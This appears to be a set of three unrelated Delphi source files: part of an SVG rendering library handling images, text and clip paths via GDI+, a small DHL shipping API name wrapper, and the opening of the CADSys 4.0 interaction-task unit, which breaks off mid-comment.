{$REGION 'TSVGImage'}
constructor TSVGImage.Create;
begin
inherited;
FImage := nil;
FStream := nil;
end;
class function TSVGImage.Features: TSVGElementFeatures;
begin
Result := [sefNeedsPainting];
end;
function TSVGImage.ObjectBounds(IncludeStroke: Boolean; ApplyTranform: Boolean): TRectF;
var
SW: TFloat;
begin
if IncludeStroke then
SW := Max(0, GetStrokeWidth) / 2
else
SW := 0;
Result.TopLeft := TPointF.Create(X - SW, Y - SW);
Result.BottomRight := TPointF.Create(X + Width + SW, Y + Height + SW);
if ApplyTranform then begin
Result.TopLeft := Transform(Result.TopLeft);
Result.BottomRight := Transform(Result.BottomRight);
end;
end;
procedure TSVGImage.Clear;
begin
inherited;
FreeAndNil(FImage);
FreeAndNil(FStream);
FFileName := '';
end;
procedure TSVGImage.AssignTo(Dest: TPersistent);
var
SA: IStream;
begin
if Dest is TSVGImage then
begin
TSVGImage(Dest).FFileName := FFileName;
if Assigned(TSVGImage(Dest).FStream) then
TSVGImage(Dest).FStream.Free;
TSVGImage(Dest).FStream := TMemoryStream.Create;
if Assigned(FStream) then
begin
FStream.Position := 0;
TSVGImage(Dest).FStream.LoadFromStream(FStream);
TSVGImage(Dest).FStream.Position := 0;
SA := TStreamAdapter.Create(TSVGImage(Dest).FStream, soReference);
FImage := TGPImage.Create(SA);
end
else
begin
TSVGImage(Dest).FStream.LoadFromFile(FFileName);
TSVGImage(Dest).FStream.Position := 0;
SA := TStreamAdapter.Create(TSVGImage(Dest).FStream, soReference);
FImage := TGPImage.Create(SA);
end;
end
else
inherited;
end;
procedure TSVGImage.PaintToGraphics(Graphics: TGPGraphics);
var
TGP: TGPMatrix;
ImAtt: TGPImageAttributes;
ColorMatrix: TColorMatrix;
begin
if FImage = nil then
Exit;
SetClipPath(Graphics);
TGP := FullMatrix.ToGPMatrix;
Graphics.SetTransform(TGP);
TGP.Free;
FillChar(ColorMatrix, Sizeof(ColorMatrix), 0);
ColorMatrix[0, 0] := 1;
ColorMatrix[1, 1] := 1;
ColorMatrix[2, 2] := 1;
ColorMatrix[3, 3] := GetFillOpacity;
ColorMatrix[4, 4] := 1;
ImAtt := TGPImageAttributes.Create;
ImAtt.SetColorMatrix(colorMatrix, ColorMatrixFlagsDefault,
ColorAdjustTypeDefault);
Graphics.DrawImage(FImage, MakeRect(X, Y, Width, Height),
0, 0, FImage.GetWidth, FImage.GetHeight, UnitPixel, ImAtt);
ImAtt.Free;
Graphics.ResetTransform;
Graphics.ResetClip;
end;
procedure TSVGImage.ReadIn(const Reader: IXMLReader);
function IsValid(var S: string): Boolean;
var
Semicolon: Integer;
begin
Result := False;
if StartsStr('data:', S) then
begin
S := Copy(S, 6, MaxInt);
Semicolon := Pos(';', S);
if Semicolon = 0 then
Exit;
if Copy(S, Semicolon, 8) = ';base64,' then
begin
S := Copy(S, Semicolon + 8, MaxInt);
Result := True;
end;
end;
end;
var
S: string;
SA: IStream;
SS: TStringStream;
begin
inherited;
S := FImageURI;
if IsValid(S) then
begin
SS := TStringStream.Create(S);
try
FStream := TMemoryStream.Create;
Base64DecodeStream(SS, FStream);
FStream.Position := 0;
SA := TStreamAdapter.Create(FStream, soReference);
FImage := TGPImage.Create(SA);
FImage.GetLastStatus;
finally
SS.Free;
end;
end
else if FileExists(S) then
begin
FFileName := S;
FStream := TMemoryStream.Create;
FStream.LoadFromFile(FFileName);
FStream.Position := 0;
SA := TStreamAdapter.Create(FStream, soReference);
FImage := TGPImage.Create(SA);
FImage.GetLastStatus;
end;
end;
function TSVGImage.ReadInAttr(SVGAttr: TSVGAttribute;
const AttrValue: string): Boolean;
begin
Result := True;
if SVGAttr = saXlinkHref then FImageURI := AttrValue
else if SVGAttr = saHref then FImageURI := AttrValue
else
Result := inherited;
end;
{$ENDREGION}
{$REGION 'TSVGCustomText'}
constructor TSVGCustomText.Create;
begin
inherited;
FDX := 0;
FDY := 0;
end;
class function TSVGCustomText.Features: TSVGElementFeatures;
begin
// It has children but it needs special treatment
Result := [sefNeedsPainting, sefHasPath, sefChildrenNeedPainting];
end;
procedure TSVGCustomText.BeforePaint(const Graphics: TGPGraphics;
const Brush: TGPBrush; const Pen: TGPPen);
begin
inherited;
if Assigned(FUnderlinePath) then
begin
if Assigned(Brush) and (Brush.GetLastStatus = OK) then
begin
Graphics.FillPath(Brush, FUnderlinePath);
end;
if Assigned(Pen) and (Pen.GetLastStatus = OK) then
begin
Graphics.DrawPath(Pen, FUnderlinePath);
end;
end;
end;
function TSVGCustomText.ObjectBounds(IncludeStroke: Boolean; ApplyTranform: Boolean): TRectF;
var
SW: TFloat;
begin
if IncludeStroke then
SW := Max(0, GetStrokeWidth) / 2
else
SW := 0;
Result.TopLeft := TPointF.Create(X - SW, Y - FFontHeight - SW);
Result.BottomRight := TPointF.Create(X + Width + SW, Y - FFontHeight + Height + SW);
if ApplyTranform then begin
Result.TopLeft := Transform(Result.TopLeft);
Result.BottomRight := Transform(Result.BottomRight);
end;
end;
procedure TSVGCustomText.Clear;
begin
inherited;
FreeAndNil(FUnderlinePath);
FreeAndNil(FStrikeOutPath);
FText := '';
FFontHeight := 0;
FDX := 0;
FDY := 0;
FHasX := False;
FHasY := False;
end;
function TSVGCustomText.GetCompleteWidth: TFloat;
var
C: Integer;
begin
Result := Width;
for C := 0 to Count - 1 do
begin
if GetItem(C) is TSVGCustomText then
begin
Result := Result + TSVGCustomText(GetItem(C)).GetCompleteWidth;
end;
end;
end;
function TSVGCustomText.GetFont: TGPFont;
var
FF: TGPFontFamily;
FontStyle: Winapi.GDIPAPI.TFontStyle;
TD: TTextDecoration;
// Font: HFont;
{ function CreateFont: HFont;
var
LogFont: TLogFont;
begin
with LogFont do
begin
lfHeight := Round(GetFont_Size);
lfWidth := 0;
lfEscapement := 0;
lfOrientation := 0;
lfWeight := GetFont_Weight;
lfItalic := GetFont_Style;
TD := GetText_Decoration;
if tdUnderLine in TD then
lfUnderline := 1
else
lfUnderline := 0;
if tdStrikeOut in TD then
lfStrikeOut := 1
else
lfStrikeOut := 0;
lfCharSet := 1;
lfOutPrecision := OUT_DEFAULT_PRECIS;
lfClipPrecision := CLIP_DEFAULT_PRECIS;
lfQuality := DEFAULT_QUALITY;
lfPitchAndFamily := DEFAULT_PITCH;
StrPCopy(lfFaceName, GetFont_Name);
end;
Result := CreateFontIndirect(LogFont);
end;}
begin
FF := GetFontFamily(GetFontName);
FontStyle := FontStyleRegular;
if GetFontWeight = FW_BOLD then
FontStyle := FontStyle or FontStyleBold;
if GetFontStyle = 1 then
FontStyle := FontStyle or FontStyleItalic;
TD := GetTextDecoration;
if tdUnderLine in TD then
FontStyle := FontStyle or FontStyleUnderline;
if tdStrikeOut in TD then
FontStyle := FontStyle or FontStyleStrikeout;
FFontHeight := FF.GetCellAscent(FontStyle) / FF.GetEmHeight(FontStyle);
FFontHeight := FFontHeight * GetFontSize;
Result := TGPFont.Create(FF, GetFontSize, FontStyle, UnitPixel);
FF.Free;
end;
function TSVGCustomText.GetFontFamily(const FontName: string): TGPFontFamily;
var
FF: TGPFontFamily;
C: Integer;
FN: string;
begin
FF := TGPFontFamily.Create(FontName);
if FF.GetLastStatus <> OK then
begin
FreeAndNil(FF);
C := Pos('-', FontName);
if (C <> 0) then
begin
FN := Copy(FontName, 1, C - 1);
FF := TGPFontFamily.Create(FN);
if FF.GetLastStatus <> OK then
FreeAndNil(FF);
end;
end;
if not Assigned(FF) then
FF := TGPFontFamily.Create('Arial');
Result := FF;
end;
function TSVGCustomText.IsInTextPath: Boolean;
var
Item: TSVGObject;
begin
Result := True;
Item := Self;
while Assigned(Item) do
begin
if Item is TSVGTextPath then
Exit;
Item := Item.Parent;
end;
Result := False;
end;
procedure TSVGCustomText.SetSize;
var
Graphics: TGPGraphics;
SF: TGPStringFormat;
Font: TGPFont;
Rect: TGPRectF;
Index: Integer;
Previous: TSVGCustomText;
DC: HDC;
begin
DC := GetDC(0);
Graphics := TGPGraphics.Create(DC);
Font := GetFont;
SF := TGPStringFormat.Create(StringFormatFlagsMeasureTrailingSpaces);
Graphics.MeasureString(FText, -1, Font, MakePoint(0.0, 0), SF, Rect);
Rect.Width := KerningText.MeasureText(FText, Font);
SF.Free;
Graphics.Free;
ReleaseDC(0, DC);
Font.Free;
FWidth := 0;
FHeight := 0;
if Assigned(FParent) and (FParent is TSVGCustomText) then
begin
Index := FParent.IndexOf(Self);
Previous := nil;
if (Index > 0) and (FParent[Index - 1] is TSVGCustomText) then
Previous := TSVGCustomText(FParent[Index - 1]);
if (Index = 0) and (FParent is TSVGCustomText) then
Previous := TSVGCustomText(FParent);
if Assigned(Previous) then
begin
if not FHasX then
FX := Previous.X + Previous.GetCompleteWidth;
if not FHasY then
FY := Previous.Y;
end;
end;
FX := FX + FDX;
FY := FY + FDY;
FWidth := Rect.Width;
FHeight := Rect.Height;
end;
procedure TSVGCustomText.AfterPaint(const Graphics: TGPGraphics;
const Brush: TGPBrush; const Pen: TGPPen);
begin
inherited;
if Assigned(FStrikeOutPath) then
begin
if Assigned(Brush) and (Brush.GetLastStatus = OK) then
Graphics.FillPath(Brush, FStrikeOutPath);
if Assigned(Pen) and (Pen.GetLastStatus = OK) then
Graphics.DrawPath(Pen, FStrikeOutPath);
end;
end;
procedure TSVGCustomText.AssignTo(Dest: TPersistent);
begin
inherited;
if Dest is TSVGCustomText then
begin
TSVGCustomText(Dest).FText := FText;
TSVGCustomText(Dest).FFontHeight := FFontHeight;
TSVGCustomText(Dest).FDX := FDX;
TSVGCustomText(Dest).FDY := FDY;
end;
end;
procedure TSVGCustomText.ConstructPath;
var
FF: TGPFontFamily;
FontStyle: Winapi.GDIPAPI.TFontStyle;
SF: TGPStringFormat;
TD: TTextDecoration;
begin
FreeAndNil(FUnderlinePath);
FreeAndNil(FStrikeOutPath);
if IsInTextPath then
Exit;
if FText = '' then
Exit;
inherited;
FF := GetFontFamily(GetFontName);
FontStyle := FontStyleRegular;
if FFontWeight = FW_BOLD then
FontStyle := FontStyle or FontStyleBold;
if GetFontStyle = 1 then
FontStyle := FontStyle or FontStyleItalic;
TD := GetTextDecoration;
if tdUnderLine in TD then
begin
FontStyle := FontStyle or FontStyleUnderline;
FUnderlinePath := TGPGraphicsPath.Create;
end;
if tdStrikeOut in TD then
begin
FontStyle := FontStyle or FontStyleStrikeout;
FStrikeOutPath := TGPGraphicsPath.Create;
end;
SF := TGPStringFormat.Create(TGPStringFormat.GenericTypographic);
SF.SetFormatFlags(StringFormatFlagsMeasureTrailingSpaces);
KerningText.AddToPath(FPath, FUnderlinePath, FStrikeOutPath,
FText, FF, FontStyle, GetFontSize,
MakePoint(X, Y - FFontHeight), SF);
SF.Free;
FF.Free;
end;
procedure TSVGCustomText.PaintToGraphics(Graphics: TGPGraphics);
{$IFDEF USE_TEXT}
var
Font: TGPFont;
SF: TGPStringFormat;
Brush: TGPBrush;
TGP: TGPMatrix;
{$ENDIF}
begin
{$IFDEF USE_TEXT}
// not tested
if FText = '' then
Exit;
try
SetClipPath(Graphics);
TGP := Matrix.ToGPMatrix;
Graphics.SetTransform(TGP);
TGP.Free;
SF := TGPStringFormat.Create(TGPStringFormat.GenericTypographic);
SF.SetFormatFlags(StringFormatFlagsMeasureTrailingSpaces);
Brush := GetFillBrush;
if Assigned(Brush) and (Brush.GetLastStatus = OK) then
try
Font := GetFont;
try
KerningText.AddToGraphics(Graphics, FText, Font, MakePoint(X, Y - FFontHeight), SF, Brush);
finally
Font.Free;
end;
finally
Brush.Free;
end;
SF.Free;
finally
Graphics.ResetTransform;
Graphics.ResetClip;
end;
{$ELSE}
inherited;
{$ENDIF}
end;
procedure TSVGCustomText.ParseNode(const Reader: IXMLReader);
var
TSpan: TSVGTSpan;
TextPath: TSVGTextPath;
pName: PWidechar;
pValue: PWidechar;
Len: LongWord;
NodeName: string;
NodeType: XmlNodeType;
begin
Reader.GetNodeType(NodeType);
if NodeType = XmlNodeType.Text then
begin
Reader.GetValue(pValue, Len);
TSpan := TSVGTSpan.Create(Self);
TSpan.Assign(Self);
FillChar(TSpan.FLocalMatrix, SizeOf(TSpan.FLocalMatrix), 0);
SetString(TSpan.FText, pValue, Len);
TSpan.SetSize;
end
else if NodeType = XmlNodeType.Element then
begin
Reader.GetLocalName(pName, Len);
SetString(NodeName, pName, Len);
if NodeName = 'tspan' then
begin
TSpan := TSVGTSpan.Create(Self);
TSpan.Assign(Self);
FillChar(TSpan.FLocalMatrix, SizeOf(TSpan.FLocalMatrix), 0);
TSpan.SetSize;
TSpan.ReadIn(Reader);
end
else if NodeName = 'textPath' then
begin
TextPath := TSVGTextPath.Create(Self);
TextPath.Assign(Self);
FillChar(TextPath.FLocalMatrix, SizeOf(TextPath.FLocalMatrix), 0);
TextPath.ReadIn(Reader);
end;
end;
end;
procedure TSVGCustomText.ReadIn(const Reader: IXMLReader);
procedure ProcessFontName;
var
Bold, Italic: Integer;
FN: string;
begin
if FFontName = '' then Exit;
Bold := Pos('Bold', FFontName);
Italic := Pos('Italic', FFontName);
FN := FFontName;
// Check for Bold
if Bold <> 0 then
begin
FFontName := Copy(FN, 1, Bold - 1) + Copy(FN, Bold + 4, MaxInt);
if Copy(FFontName, Length(FFontName), 1) = '-' then
FFontName := Copy(FFontName, 1, Length(FFontName) - 1);
if IsFontAvailable then
begin
FFontWeight := FW_BOLD;
Exit;
end;
if Copy(FFontName, Length(FFontName) - 1, 2) = 'MT' then
begin
FFontName := Copy(FFontName, 1, Length(FFontName) - 2);
if Copy(FFontName, Length(FFontName), 1) = '-' then
FFontName := Copy(FFontName, 1, Length(FFontName) - 1);
if IsFontAvailable then
begin
FFontWeight := FW_BOLD;
Exit;
end;
end;
end;
// Check for Italic
if Italic <> 0 then
begin
FFontName := Copy(FN, 1, Italic - 1) + Copy(FN, Italic + 6, MaxInt);
if Copy(FFontName, Length(FFontName), 1) = '-' then
FFontName := Copy(FFontName, 1, Length(FFontName) - 1);
if IsFontAvailable then
begin
FFontStyle := SVGTypes.FontItalic;
Exit;
end;
if Copy(FFontName, Length(FFontName) - 1, 2) = 'MT' then
begin
FFontName := Copy(FFontName, 1, Length(FFontName) - 2);
if Copy(FFontName, Length(FFontName), 1) = '-' then
FFontName := Copy(FFontName, 1, Length(FFontName) - 1);
if IsFontAvailable then
begin
FFontStyle := SVGTypes.FontItalic;
Exit;
end;
end;
end;
// Check for Bold and Italic
if (Bold <> 0) and (Italic <> 0) then
begin
FFontName := Copy(FN, 1, Bold - 1) + Copy(FN, Bold + 4, MaxInt);
if Copy(FFontName, Length(FFontName), 1) = '-' then
FFontName := Copy(FFontName, 1, Length(FFontName) - 1);
Italic := Pos('Italic', FFontName);
FFontName := Copy(FFontName, 1, Italic - 1) + Copy(FFontName, Italic + 6, MaxInt);
if Copy(FFontName, Length(FFontName), 1) = '-' then
FFontName := Copy(FFontName, 1, Length(FFontName) - 1);
if IsFontAvailable then
begin
FFontWeight := FW_BOLD;
FFontStyle := SVGTypes.FontItalic;
Exit;
end;
if Copy(FFontName, Length(FFontName) - 1, 2) = 'MT' then
begin
FFontName := Copy(FFontName, 1, Length(FFontName) - 2);
if Copy(FFontName, Length(FFontName), 1) = '-' then
FFontName := Copy(FFontName, 1, Length(FFontName) - 1);
if IsFontAvailable then
begin
FFontWeight := FW_BOLD;
FFontStyle := SVGTypes.FontItalic;
Exit;
end;
end;
end;
FFontName := FN;
if Copy(FFontName, Length(FFontName) - 1, 2) = 'MT' then
begin
FFontName := Copy(FFontName, 1, Length(FFontName) - 2);
if Copy(FFontName, Length(FFontName), 1) = '-' then
FFontName := Copy(FFontName, 1, Length(FFontName) - 1);
if IsFontAvailable then
Exit;
end;
FFontName := FN;
end;
begin
inherited;
ProcessFontName;
ReadTextNodes(Reader);
end;
function TSVGCustomText.ReadInAttr(SVGAttr: TSVGAttribute;
const AttrValue: string): Boolean;
begin
Result := True;
case SVGAttr of
saX:
begin
ParseLengthAttr(AttrValue, ltHorz, FX);
FHasX := True;
end;
saY:
begin
ParseLengthAttr(AttrValue, ltVert, FY);
FHasY := True;
end;
saDx: ParseLengthAttr(AttrValue, ltHorz, FDX);
saDy: ParseLengthAttr(AttrValue, ltVert, FDY);
else
Result := inherited;
end;
end;
procedure TSVGCustomText.ReadTextNodes(const Reader: IXMLReader);
var
StartDepth, EndDepth: LongWord;
NodeType: XmlNodeType;
begin
if Reader.IsEmptyElement then Exit;
StartDepth := Depth;
Repeat
if not EXmlLite.IsOK(Reader.Read(NodeType)) then break;
case NodeType of
XmlNodeType.None: Break;
XmlNodeType.EndElement: Reader.GetDepth(EndDepth);
XmlNodeType.Element,
XmlNodeType.Text: ParseNode(Reader);
end;
Until ((Nodetype = XmlNodeType.EndElement) and (EndDepth = StartDepth));
end;
{$ENDREGION}
{$REGION 'TSVGTextPath'}
procedure TSVGTextPath.Clear;
begin
inherited;
FOffset := 0;
FPathRef := '';
FMethod := tpmAlign;
FSpacing := tpsAuto;
end;
procedure TSVGTextPath.ConstructPath;
var
GuidePath: TSVGPath;
Position: TFloat;
X, Y: TFloat;
procedure RenderTextElement(const Element: TSVGCustomText);
var
C: Integer;
FF: TGPFontFamily;
FontStyle: Winapi.GDIPAPI.TFontStyle;
SF: TGPStringFormat;
PT: TGPPathText;
Matrix: TGPMatrix;
Size: TFloat;
begin
FreeAndNil(Element.FUnderlinePath);
FreeAndNil(Element.FStrikeOutPath);
FreeAndNil(Element.FPath);
if Element.FText <> '' then
begin
FF := GetFontFamily(Element.GetFontName);
FontStyle := FontStyleRegular;
if Element.FFontWeight = FW_BOLD then
FontStyle := FontStyle or FontStyleBold;
if Element.GetFontStyle = 1 then
FontStyle := FontStyle or FontStyleItalic;
SF := TGPStringFormat.Create(TGPStringFormat.GenericTypographic);
SF.SetFormatFlags(StringFormatFlagsMeasureTrailingSpaces);
PT := TGPPathText.Create(GuidePath.GPPath);
if not Element.FLocalMatrix.IsEmpty then
Matrix := Element.FLocalMatrix.ToGPMatrix
else
Matrix := nil;
X := X + Element.FDX;
Y := Y + Element.FDY;
if (X <> 0) or (Y <> 0) then
begin
if not Assigned(Matrix) then
Matrix := TGPMatrix.Create;
Matrix.Translate(X, Y);
end;
PT.AdditionalMatrix := Matrix;
Element.FPath := TGPGraphicsPath2.Create;
Size := Element.GetFontSize;
Position := Position +
// TODO Is Trim needed here?
PT.AddPathText(Element.FPath, Trim(Element.FText), Position,
FF, FontStyle, Size, SF);
PT.Free;
Matrix.Free;
SF.Free;
FF.Free;
end;
for C := 0 to Element.Count - 1 do
if Element[C] is TSVGCustomText then
RenderTextElement(TSVGCustomText(Element[C]));
end;
begin
inherited;
GuidePath := nil;
if FPathRef <> '' then
begin
if FPathRef[1] = '#' then
begin
GuidePath := TSVGPath(GetRoot.FindByID(Copy(FPathRef, 2, MaxInt)));
end;
end;
if GuidePath = nil then
Exit;
if FOffsetIsPercent and (FOffset <> 0) then
Position := TGPPathText.GetPathLength(GuidePath.GPPath) * FOffset
else
Position := FOffset;
X := FDX;
Y := FDY;
RenderTextElement(Self);
end;
function TSVGTextPath.ReadInAttr(SVGAttr: TSVGAttribute;
const AttrValue: string): Boolean;
begin
Result := True;
case SVGAttr of
saXlinkHref: FPathRef := AttrValue;
saHref: FPathRef := AttrValue;
saStartOffset: FOffset := ParseLength(AttrValue, FOffsetIsPercent);
saMethod:
begin
if AttrValue = 'stretch' then
FMethod := tpmStretch;
end;
saSpacing:
begin
if AttrValue = 'exact' then
FSpacing := tpsExact;
end;
else
Result := inherited;
end;
end;
{$ENDREGION}
{$REGION 'TSVGClipPath'}
procedure TSVGClipPath.Clear;
begin
inherited;
FreeAndNil(FClipPath);
end;
procedure TSVGClipPath.ConstructClipPath;
begin
FClipPath := TGPGraphicsPath.Create;
PaintToPath(FClipPath);
end;
destructor TSVGClipPath.Destroy;
begin
FreeAndNil(FClipPath);
inherited;
end;
class function TSVGClipPath.Features: TSVGElementFeatures;
begin
Result := [sefMayHaveChildren]
end;
function TSVGClipPath.GetClipPath: TGPGraphicsPath;
begin
if not Assigned(FClipPath) then
ConstructClipPath;
Result := FClipPath;
end;
function TSVGClipPath.ReadInAttr(SVGAttr: TSVGAttribute;
const AttrValue: string): Boolean;
begin
Result := inherited;
if FID <> '' then
if not Root.IdDict.ContainsKey(FID) then
Root.IdDict.Add(FID, Self);
end;
{$ENDREGION}
{$REGION 'TSVGShape'}
class function TSVGShape.Features: TSVGElementFeatures;
begin
Result := [sefNeedsPainting, sefHasPath];
end;
{$ENDREGION}
end.
|
unit Objekt.DHLNameType;
interface
uses
SysUtils, Classes, geschaeftskundenversand_api_2;
type
TDHLNameType = class
private
fNameTypeAPI: NameType;
fName2: string;
fName3: string;
fName1: string;
procedure setName1(const Value: string);
procedure setName2(const Value: string);
procedure setName3(const Value: string);
public
constructor Create;
destructor Destroy; override;
function NameTypeAPI: NameType;
property Name1: string read fName1 write setName1;
property Name2: string read fName2 write setName2;
property Name3: string read fName3 write setName3;
end;
implementation
{ TDHLNameType }
constructor TDHLNameType.Create;
begin
fNameTypeAPI := NameType.Create;
end;
destructor TDHLNameType.Destroy;
begin
FreeAndNil(fNameTypeAPI);
inherited;
end;
function TDHLNameType.NameTypeAPI: NameType;
begin
Result := fNameTypeAPI;
end;
procedure TDHLNameType.setName1(const Value: string);
begin
fName1 := Value;
fNameTypeAPI.name1 := Value;
end;
procedure TDHLNameType.setName2(const Value: string);
begin
fName2 := Value;
fNameTypeAPI.name2 := Value;
end;
procedure TDHLNameType.setName3(const Value: string);
begin
fName3 := Value;
fNameTypeAPI.name3 := Value;
end;
end.
|
{: This help file explain all the interaction task classes defined in
the CADSys 4.0 library for both the 2D and 3D use.
These classes are defined in the CS4Tasks unit file
that you must include in the <B=uses> clause in all of your units
that access the types mentioned here.
See also <See Class=TCADPrg><BR>
The task classes defined here can be used in your program by
adding a <See Class=TCADPrg> component of the desired type
(2D or 3D) and using the following code to start a task:
<CODE=
ACADPrg.StartOperation(<<A task class>>, <<The required task parameter>>);
>
If you want to stop a task use the following code:
<CODE=
ACADPrg.SendUserEvent(CADPRG_CANCEL);
>
and to finish the current task use the code:
<CODE=
ACADPrg.SendUserEvent(CADPRG_ACCEPT);
>
You may also start another task by suspending the current
one (if it can be suspended) with the code:
<CODE=
ACADPrg.SuspendOperation(<<A task class>>, <<The required task parameter>>);
>
<B=Note>: All the 3D tasks work on the active
<See=working plane@WORKPLANE> of the <See Class=TCADPrg3D>.
}
unit CS4Tasks;
Interface
uses SysUtils, Classes, Windows, Graphics, Dialogs, Controls, Forms,
CADSys4, CS4BaseTypes, CS4Shapes;
type
{ ******************* Zooming states *********************** }
{: This class rapresents the parameter for zooming tasks.
All the zooming tasks may use an optional parameter that
is useful only if you want to start an interaction task
after the zooming task.
}
TCADPrgZoomParam = class(TCADPrgParam);
{: This is the base class for all zooming and panning
operations.
Because it is an abstract class it cannot be used as an
operation. It is only defined to give a
common interface for zooming tasks.
See also <See Class=TCADPrg>.
}
TCADPrgZoomState = class(TCADState)
public
constructor Create(const CADPrg: TCADPrg; const StateParam: TCADPrgParam; var NextState: TCADStateClass); override;
end;
{: This class can be used to perform a windowed zoom.
The operation waits two points from the user that are
the two window's corner of the area to be zoommed.
The operation ends after the user has pressed the left
mouse button for the second time. The right mouse button
is not used.
To stop the operation you can use either the
<See Method=TCADPrg@StopOperation> method or send the
<I=CADPRG_CANCEL> message.
The operation doesn't require any parameter and cannot be
suspended.
}
TCADPrgZoomArea = class(TCADPrgZoomState)
public
constructor Create(const CADPrg: TCADPrg; const StateParam: TCADPrgParam; var NextState: TCADStateClass); override;
end;
{: This class can be used to perform a <I=continuos> zoom in/zoom out.
The operation waits for the zooming center point. If the
shift key is hold while pressing the mouse left button, a
zoom out will be performed, otherwise a zoom in will be done.
The operation ends after the user has pressed the left
mouse button for the second time. The right mouse button is
not used.
To stop the operation you can use either
<See Method=TCADPrg@StopOperation> or
send the <I=CADPRG_CANCEL> message.
The operation doesn't require any parameter and cannot
be suspended.
}
TCADPrgZoomInOut = class(TCADPrgZoomState)
public
constructor Create(const CADPrg: TCADPrg; const StateParam: TCADPrgParam; var NextState: TCADStateClass); override;
function OnEvent(Event: TCADPrgEvent; MouseButton: TCS4MouseButton; Shift: TShiftState; Key: Word;
var NextState: TCADStateClass): Boolean; override;
end;
TCADPrgRealZoom = class(TCADPrgZoomState)
private
CurrPoint: TPoint;
public
constructor Create(const CADPrg: TCADPrg; const StateParam: TCADPrgParam; var NextState: TCADStateClass); override;
function OnEvent(Event: TCADPrgEvent; MouseButton: TCS4MouseButton; Shift: TShiftState; Key: Word;
var NextState: TCADStateClass): Boolean; override;
end;
TCADPrgDistance = class(TCADPrgZoomState)
private
CurrPoint: TPoint2d;
UserObject: TLine2d;
First : boolean;
Hint1 : THintWindow;
public
constructor Create(const CADPrg: TCADPrg; const StateParam: TCADPrgParam; var NextState: TCADStateClass); override;
function OnEvent(Event: TCADPrgEvent; MouseButton: TCS4MouseButton; Shift: TShiftState; Key: Word;
var NextState: TCADStateClass): Boolean; override;
destructor Destroy; override;
end;
{: This class can be used to perform a single pan operation.
The operation waits two points from the user that are the
start and ending point of the panning. After the selection
of the two points, the current <I=visual rect> will be
translated from the start point to the end point.
The operation ends after the user has pressed the left
mouse button for the second time. The right mouse button
is not used.
To stop the operation you can use either
<See Method=TCADPrg@StopOperation> or
send the <I=CADPRG_CANCEL> message.
The operation doesn't require any parameter and cannot be
suspended.
}
TCADPrgPan = class(TCADPrgZoomState)
public
constructor Create(const CADPrg: TCADPrg; const StateParam: TCADPrgParam; var NextState: TCADStateClass); override;
function OnEvent(Event: TCADPrgEvent; MouseButton: TCS4MouseButton; Shift: TShiftState; Key: Word;
var NextState: TCADStateClass): Boolean; override;
procedure OnStop; override;
end;
{: This class can be used to perform a dynamic pan operation.
The operation waits for the mouse to be pressed. Then,
while holding the mouse left button, the current
<I=visual rect> will follow the mouse position. If the
draws is complex and the painting thread is not enabled the
panning can be delayed with respect to the mouse movements.
The right mouse button is not used.
To stop the operation you can use either
<See Method=TCADPrg@StopOperation> or
send the <I=CADPRG_CANCEL> message. The operation doesn't end
by itself but you have to send a <I=CADPRG_ACCEPT> message.
The operation doesn't require any parameter and cannot be
suspended.
}
TCADPrgRealTimePan = class(TCADPrgZoomState)
private
fInPanning: Boolean;
fLastPoint: TPoint2D;
fOriginalRect: TRect2D;
public
constructor Create(const CADPrg: TCADPrg; const StateParam: TCADPrgParam; var NextState: TCADStateClass); override;
function OnEvent(Event: TCADPrgEvent; MouseButton: TCS4MouseButton; Shift: TShiftState; Key: Word;
var NextState: TCADStateClass): Boolean; override;
end;
{ ******************* Useful states *********************** }
{: This is the base class for the selection operations.
Because it is an abstract class it cannot be used as an
operation.
See also <See Class=TCADPrg>.
}
TCADPrgSelectionState = class(TCADState);
{: This class defines the parameter needed by the
<See Class=TCADPrgSelectArea> task.
The parameter is used to store the area selected by the
user.
}
TCADPrgSelectAreaParam = class(TCADPrgParam)
private
fFrame: TFrame2D;
fCallerParam: TCADPrgParam;
function GetArea: TRect2D;
public
{: This constructor creates the instance of the parameter
to be passed to <See Method=TCADPrg@StartOperation> or
<See Method=TCADPrg@SuspendOperation>.
<I=AfterS> contains the starting state of the operation
that can be started at the end of the selection. If it
is <B=nil>, the CADPrg will returns into the default
state.
<I=CallerParam> may contains an optional parameter that
can be used by the operation that will receive the selection.
This parameter will be freed when the parameter will be
deleted. If you need it after the deletion of the
parameter set it to <B=nil> after you have retrieved it.
}
constructor Create(AfterS: TCADStateClass; CallerParam: TCADPrgParam);
destructor Destroy; override;
{: This property contains an optional parameter that can
be used by the operation that will recive the selection made.
This parameter will be freed when the parameter will be
deleted. If you need it after the deletion of the
parameter set it to <B=nil> after you have retrieved it.
}
property CallerParam: TCADPrgParam read fCallerParam write fCallerParam;
{: It will contains the area selected by the user.
}
property Area: TRect2D read GetArea;
end;
{: This task class allows the user to select a 2D area defined
in viewport coordinates.
It can be used to obtain a rectangular parameter usable in
selections or other operations.
The operation waits for two points from the user that are
the two area corner.
The operation ends after the user has pressed the left
mouse button for the second time. The right mouse button is
not used.
To stop the operation you can use either
<See Method=TCADPrg@StopOperation> or
send the <I=CADPRG_CANCEL> message.
The operation requires a <See Class=TCADPrgSelectAreaParam>
parameter.
See also <See Class=TCADPrg>.
}
TCADPrgSelectArea = class(TCADState)
public
constructor Create(const CADPrg: TCADPrg; const StateParam: TCADPrgParam; var NextState: TCADStateClass); override;
function OnEvent(Event: TCADPrgEvent; MouseButton: TCS4MouseButton; Shift: TShiftState; Key: Word;
var NextState: TCADStateClass): Boolean; override;
procedure OnStop; override;
end;
{: This type is another name for <See Class=TCADPrgParam>.
}
TCAD2DCommonParam = class(TCADPrgParam);
{: This class defines the parameter used by the
<See Class=TCAD2DPositionObject> task.
The class is used to store the 2D object that must be
positioned on the CAD. If you assign a state to the
<See Property=TCADPrgParam@AfterState> property, the
object is not added to the linked <See Class=TCADCmp>,
otherwise it will be added to it.
}
TCAD2DPositionObjectParam = class(TCAD2DCommonParam)
private
fObject: TObject2D;
public
{: This method creates a new instance of the parameter.
Parameters:
<LI=<I=AfterS> may contains a <See Class=TCADState> class
reference. If it is assigned that state will be started
at the end of the current task. That state will receive
the current parameters. If <I=AfterS> is <B=nil>, the
<See Class=TCADPrg> will return to the default state.>
<LI=<I=O> contains the object to be positioned with the
<See Class=TCAD2DPositionObject> task.>
<B=Note>: in the case <I=AfterS> is not <B=nil>, the
object will not be added to the CAD.
}
constructor Create(AfterS: TCADStateClass; O: TObject2D);
{: This property contains the object to be positioned
(or already positioned when the task is finished) with the
<See Class=TCAD2DPositionObject> task.
The object is deleted when the parameter is destroyed. If
you want to keep the instance, set the property to <B=nil>
before delete the parameter.
